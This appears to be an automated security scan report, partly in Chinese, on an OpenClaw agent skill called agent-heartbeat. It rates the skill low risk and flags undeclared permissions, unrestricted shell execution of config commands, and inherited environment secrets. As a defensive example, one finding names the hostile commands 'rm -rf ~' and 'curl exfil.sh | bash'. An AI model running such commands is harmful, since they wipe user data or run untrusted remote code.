低风险 — 风险评分 20/100
上次扫描:1 天前 重新扫描
20 /100
agent-heartbeat
Unified heartbeat system for OpenClaw agents. Runs parallel health checks, data collectors, and state monitors in one command.
This is a legitimate heartbeat monitoring tool that executes user-defined shell commands from a config file — its core functionality is documented and intentional, but the SKILL.md lacks an allowed-tools declaration, making its shell:WRITE capability undeclared.
技能名称agent-heartbeat
分析耗时61.0s
引擎pi
可以安装
Add an allowed-tools declaration to SKILL.md explicitly listing shell:WRITE and filesystem:READ/WRITE. Document that the skill runs arbitrary user-supplied commands from heartbeat.yaml via execSync. Consider adding a --sandbox flag or restricting commands to an allowlist if untrusted configs may be used.

安全发现 3 项

严重性 安全发现 位置
中危
No allowed-tools declaration in SKILL.md 文档欺骗
SKILL.md declares no allowed tools despite the script executing shell commands (execSync with shell:true) and performing filesystem read/write operations. This is a documentation gap that obscures the skill's actual resource access.
No 'allowed-tools' section present
→ Add an allowed-tools section to SKILL.md: Bash→shell:WRITE, Read→filesystem:READ, Write→filesystem:WRITE
SKILL.md:1
中危
Unrestricted shell command execution from user config 代码执行
runCheck() passes check.command directly to execSync with shell:true, meaning any value in heartbeat.yaml can execute arbitrary shell commands. While this is by design, it is not restricted or sandboxed. A malicious or compromised config could run any command (e.g., rm -rf ~, curl exfil.sh | bash).
const output = execSync(check.command, { encoding: 'utf8', timeout: timeoutMs, stdio: ['ignore', 'pipe', 'pipe'], shell: true, env: { ...process.env } });
→ Implement command allowlisting, restrict to specific safe commands (curl, node, python, df, find, awk, tail, wc), or add a --sandbox flag. Consider dropping elevated env vars before execution.
scripts/heartbeat.js:94
低危
Full process environment inherited by child commands 权限提升
The execSync call passes the full process environment (env: { ...process.env }) to child commands, meaning credentials, tokens, and API keys in the environment are accessible to arbitrary commands defined in the config.
env: { ...process.env }
→ Strip sensitive environment variables (API keys, tokens, secrets) before passing env to execSync, or document that users should run the skill in an environment with only necessary credentials.
scripts/heartbeat.js:94
资源类型声明权限推断权限状态证据
命令执行 NONE WRITE ✗ 越权 scripts/heartbeat.js:94 — execSync(check.command, { shell: true })
文件系统 NONE WRITE ✗ 越权 scripts/heartbeat.js:215 — fs.writeFileSync(path.resolve(outputPath), md)
文件系统 NONE READ ✗ 越权 scripts/heartbeat.js:184 — fs.readFileSync(fullConfigPath, 'utf8')
网络访问 NONE READ ✗ 越权 Indirect via execSync running curl commands from config
5 项发现
🔗
中危 外部 URL 外部 URL
https://your-email-api/unread
SKILL.md:25
🔗
中危 外部 URL 外部 URL
https://your-site.com
SKILL.md:31
🔗
中危 外部 URL 外部 URL
https://your-logger.workers.dev/messages?unread=true
SKILL.md:93
🔗
中危 外部 URL 外部 URL
https://email-api.example.com/inbox
references/config.md:72
🔗
中危 外部 URL 外部 URL
https://logger.example.com/messages?unread=true
references/config.md:84

目录结构

3 文件 · 19.0 KB · 615 行
JavaScript 1f · 381L Markdown 2f · 234L
├─ 📁 references
│ └─ 📝 config.md Markdown 115L · 3.8 KB
├─ 📁 scripts
│ └─ 📜 heartbeat.js JavaScript 381L · 11.5 KB
└─ 📝 SKILL.md Markdown 119L · 3.7 KB

安全亮点

✓ No base64-encoded payloads or obfuscated code found
✓ No hardcoded credentials, API keys, or tokens in the codebase
✓ No C2 communication, reverse shells, or data exfiltration endpoints
✓ No sensitive file access (no ~/.ssh, ~/.aws, .env reads attempted)
✓ No supply chain risks — no external dependencies required (yaml parser has a fallback)
✓ Configuration-driven design means commands are visible and user-controlled
✓ No prompt injection, no hidden instructions in comments
✓ Timeout enforcement on all child commands prevents indefinite hangs
✓ Documentation is thorough and matches code behavior